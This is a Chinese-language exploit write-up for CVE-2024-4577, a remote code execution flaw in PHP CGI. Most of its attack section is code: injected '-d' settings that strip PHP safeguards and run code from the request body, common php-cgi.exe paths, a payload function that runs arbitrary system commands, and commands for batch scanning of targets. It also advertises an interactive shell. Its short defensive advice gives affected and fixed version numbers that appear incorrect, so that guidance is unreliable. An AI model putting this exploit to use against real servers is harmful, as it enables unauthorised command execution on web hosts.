PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
漏洞概述
CVE-2024-4577是PHP CGI实现中的一个关键漏洞,允许远程攻击者通过命令注入执行任意代码。该漏洞存在于PHP CGI对命令行参数的不当处理中,可被利用来绕过安全限制并以Web服务器权限执行任意命令。
影响版本
- PHP < 8.3.4
- PHP < 8.2.17
- PHP < 8.1.27
漏洞影响
技术细节
漏洞原理
PHP CGI在处理命令行参数时存在缺陷,攻击者可以通过注入特殊参数来绕过安全限制。利用软连字符(%AD)进行参数注入,结合特定的PHP配置设置实现代码执行。
利用方法
1
2
3
4
5
6
7
8
9
10
11
|
# PHP配置设置注入
php_settings = [
"-d cgi.force_redirect=0",
"-d cgi.redirect_status_env=0",
"-d fastcgi.impersonate=1",
"-d open_basedir=",
"-d disable_functions=",
"-d auto_prepend_file=php://input",
"-d allow_url_include=1",
"-d allow_url_fopen=1"
]
|
常用CGI路径
1
2
3
4
5
6
7
8
|
cgi_paths = [
"/php-cgi/php-cgi.exe",
"/php/php-cgi.exe",
"/cgi-bin/php-cgi.exe",
"/php-cgi.exe",
"/php.exe",
"/php/php.exe"
]
|
Python利用脚本
完整的Python利用脚本实现了以下功能:
- 漏洞检测:通过发送测试命令验证目标是否易受攻击
- 命令执行:利用参数注入执行任意系统命令
- 交互式shell:提供命令行界面进行持续操作
- 批量扫描:支持多目标并发检测
核心功能代码
1
2
3
4
5
6
7
8
9
|
def execute_command(self, target, command="whoami", cgi_path=None):
"""通过PHP CGI参数注入执行命令"""
php_code = f"""<?php
error_reporting(0);
echo '[START]';
system('{command}');
echo '[END]';
die();
?>"""
|
使用方法
单目标检测
1
|
python3 exploit.py -u http://target.com
|
批量扫描
1
|
python3 exploit.py -f targets.txt -t 10 -o results.txt
|
防御措施
- 升级到PHP 8.3.4、8.2.17或8.1.27及以上版本
- 禁用不必要的CGI功能
- 实施严格的输入验证和过滤
参考资源
- NVD漏洞详情:CVE-2024-4577
- Akamai安全研究分析
- Tarlogic技术博客深度解析
注意:本文提供的技术信息仅用于教育研究和授权测试目的,请勿用于非法活动。